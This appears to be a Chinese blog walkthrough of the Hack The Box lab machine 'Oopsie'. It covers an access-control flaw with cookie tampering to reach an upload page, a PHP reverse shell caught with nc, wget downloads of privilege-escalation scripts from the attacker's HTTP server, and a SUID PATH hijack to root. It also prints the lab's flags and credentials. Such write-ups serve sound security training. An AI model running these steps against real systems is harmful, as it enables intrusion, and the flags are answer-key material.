Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Oopsie

image.png
每当执行包含身份验证机制的 Web 评估时,始终建议检查 cookie、会话并尝试弄清楚访问控制的真正工作原理。 在许多情况下,远程代码执行攻击和系统立足点本身可能无法实现,而是在链接不同类型的漏洞和漏洞之后实现。 在此框中,我们将了解信息泄露和访问控制损坏类型的漏洞,即使它们看起来不是很重要,也会在攻击系统时产生很大的影响,因此即使是很小的漏洞也很重要。

先扫描一下:namp -sV -sC 10.129.133.42
开放了3个TCP端口,22 ssh,80 http,还有一个10626。
image.png

既然有80端口,那们我们先直接进入网页,
image.png
扫描一下目录:gobuster dir -u http://ip/ -w /usr/share/wordlists/dirb/common.txt
扫到了css, font, images, …, uploads等目录。
image.png
看一下页面源码,翻一翻
image.png
image.png
看看其所在目录,这里有个/cdn-cgi/login,疑似登陆页面,试一下。
image.png
在burp suite里的Site map也能找到该目录
image.png
看到后台随手试一下SQL注入admin’ ,没有回显。
试试admin’# +随意密码,没有成功。
放到Burp里Intruder爆破着
image.png

等待爆破结果,我们先点击Login as Guest,以游客身份进入看看。
这里进入的是/cdn-cgi/login/admin.php页面(php网站)
image.png
进入Account、Branding、Clients、Uploads页面一一查看。
id=2,AccessID是2233,用户名是guest。
image.png
image.png
image.png
uploads页面我们没有超级管理员权限,无法进入。
image.png
看完这些页面后,发现Acoount、Branding、Clients页面看似没有啥用,仅仅提供了几条简单的信息,但是仔细发现,这里我们的ID都是2,这是不是意味着有人的ID为1,有没有可能是超管呢?我们怎么拿到超管的权限进入uploads页面呢?进入uploads页面是不是可以上传我们的文件比如木马?
我们尝试将Account页面的id改为1,发现查询的用户名变成了admin!这里就发生了越权。
image.png
这里我们抓一下包,发现这里的Cookie是游客身份,显示的Access ID为2233,name为guset的cookie。
image.png
我们修改一下cookie,改成我们刚才查询到的admin信息。并尝试访问uploads页面。
image.png
注:也可以F12,在“存储/Storage”中直接修改cookie的值(使用的是火狐浏览器)
image.png
可以看到这里我们就成功利用超管权限进入到了uploads页面。
image.png
在kali的/usr/share/webshells/php/目录下,有一个反弹shell的木马:php-reverse-shell.php可以回连到我们本机,配置一下该php文件,将ip改成我们本机,指定一个port。
image.png
上传该文件
image.png
上传后发现,我们并不知道文件被上传到哪里,那么自然也无法连接。
但是,我们gobuster扫描出一个目录名为upload,猜测上传的文件可能被存到该目录下。
首先使用nc在本机开启监听:nc -lvvp 1234
浏览器输入URL:http://ip/uploads/php-reverse-shell.php并前往,这里成功反弹回一个shell,只是我们的权限较低,www-data
image.png
上面的shell有些简陋,我们通过python建立一个更具功能性的shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
image.png
因此我们现在的权限较低,所以我们的想法肯定是提权,那么我们先上传Linux提权需要的信息收集工具,如LinEnum.sh、Linux-exploit-suggester.sh等。
首先在我们本机用python开启一个HTTP SERVER,让目标机能够下载我们的文件。
sudo python3 -m http.server 80
第一种:使用Linux-exploit-suggester.sh
在目标机用wget命令下载信息收集工具,直接下载是不行的,我们在该目录下没有权限
image.png
ls -al看一看哪些目录有权限,tmp,提权常用目录。
image.png
cd tmp,进入该目录,使用wget命令下载Linux-exploit-suggester.sh,下载后直接运行
发现没有权限运行,那么我们通过chmod赋予该文件权限,成功运行,进行提权的信息收集。
image.png
会提示我们一些可能的EXP
image.png
看到第一个sudo Baron Samedit,是一个Linux sudo提权
我们输入sudoedit -s /测试一下是否存在漏洞,这里的回显是usage开头,说明不存在该漏洞;如果回显是以sudoedit开头的报错,那么表明存在该漏洞。
image.png
第二种:使用LinEnum.sh
直接运行即可,我们在SUID files里发现了bugtracker文件,可以想一下怎么利用SUID提权,怎么利用我们在下面会讲到。
image.png
image.png

我们回到本次靶机中来,根据本机的walkthrough,我们可以在/var/www/html/cdn-cgi/login目录下可以发现几个名字看起来就比较重要的php文件-index.php、admin.php、db.php,逐个分析
image.png
在index.php文件中,对POST请求做了username和password的判断,admin/MEGACORP_4dm1n!!
(可以使用cat * | grep -i passw*搜索密码,-i:忽视大小写))
image.png
admin.php是根据参数返回页面内容
db.php是连接数据库的账号密码robert/M3g4C0rpUs3r!
image.png
在/etc/passwd里我们可以找到robert这个用户,我们尝试登陆该用户。
image.png
成功登入
image.png
id,我们看到robert的group有robert和bugtracker。
image.png
然后我们cd /home/rebert可以拿到robert的flag:f2c74ee8db7983851ab2a96a44eb7981。
image.png
因为robert是bugtracker组的一员,我们查找一下该组内的所有文件。
find / -group bugtracker 2>/dev/null
image.png
找到了/usr/bin/bugtrakcer文件,我们检查他的类型和权限。
file /usr/bin/bugtracker
ls -al /usr/bin/bugtracker- s:指SUID权限,所有者为root,这是一个SUID文件。
image.png
注:通常称为 SUID(设置所有者用户 ID),用户访问级别的特殊权限具有单一功能:具有 SUID 的文件始终以拥有该文件的用户身份执行,而不管用户传递命令。如果文件所有者没有执行权限,则在此处使用大写的 S。“bugtracker”归 root 所有,我们可以作为 root 执行它,因为它设置了 SUID。
我们运行bugtracker文件,该文件执行的是cat操作,查看/root/reports/目录下的文件。
image.png
我们发现该工具接受用户输入作为将使用cat命令读取的文件的名称,但是,它没有指定文件 cat 的整个路径,因此我们可以利用它。
接下来我们要做的就是伪造一个cat
首先,在tmp目录下创建cat文件:cd /tmp,touch cat
将/bin/bash写入cat文件中:echo "/bin/bash" > cat
赋予cat文件可执行权限:chmod +x cat
image.png
我们将/tmp目录添加到PATH环境变量中的前面(PATH 是类 Unix 操作系统、DOS、OS/2 和 Microsoft Windows 上的环境变量,它指定一组可执行程序所在的目录。)
export PATH=/tmp:$PATH
echo $PATH,打印环境变量看一下
image.png
然后我们执行bugtracker,就会发现我们已经进入到root的shell,成功提升到root权限。
image.png
我们cd /root,进入root目录打印root.txt得到flag:af13b0bee69f8a877c3faf667f7beacf
注:这里我们要首先删除/tmp目录下的cat文件->rm /tmp/root.txt,因为我们直接调用cat其实是在PATH路径中依次寻找cat,最先调用的将会是/tmp/cat(即/bin/bash),而无法查看文件内容。
image.png

补充一下:
1、也可以上传一句话木马shell.php,蚁剑尝试连接,进行后续操作。image.png
image.png
2、也可以尝试能不能用sqlmap的cookie注入试试(默认情况下sqlmap支持GET/POST注入,当–level=2时,支持cookie注入;当–level=3时,支持User-Agent和Referer)
sqlmap -u http://10.129.190.77/ --cookie=“user=34322; role=admin” --level 2 --batch
扫描显示没有SQL注入。
3、我们通过burp suite的Intruder模块并没有爆破出密码(字典不行)

这台靶机打完,我们做一下TASKS:
TASK 1,使用什么种类的工具来拦截web流量?proxy类的,如 burp suite
image.png
TASK 2,哪个路径返回的是登陆页面?/cdn-cgi/login
image.png
TASK 3,在火狐里修改什么可以进入upload页面?cookie,改成admin的身份信息。
image.png
TASK 4,admin用户的ACCESS ID是什么?34322
image.png
TASK 5,文件上传到哪个目录下??uploads目录
image.png
TASK 6,包含于robert用户共享的密码的文件是?db.php包含了robert的用户名和密码
image.png
TASK 7,使用-group bugtracker运行什么可执行文件来识别bugtracker组所拥有的文件?使用find命令,find / -group bugtracker 2>/dev/null
image.png
TASK 8,无论哪个用户开始运行bugtracker可执行文件,运行时使用的用户权限是什么?bugtracker文件的所有者是root,因为是SUID文件,其他用户运行该文件都会以root身份运行。
image.png
TASK 9,SUID是?Set owner User ID
image.png
TASK 10,以不安全方式调用的可执行文件的名字是什么?cat,因为bugtracker文件调用的是cat,没有以绝对路径调用。
image.png
最后提交user flag和root flag。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值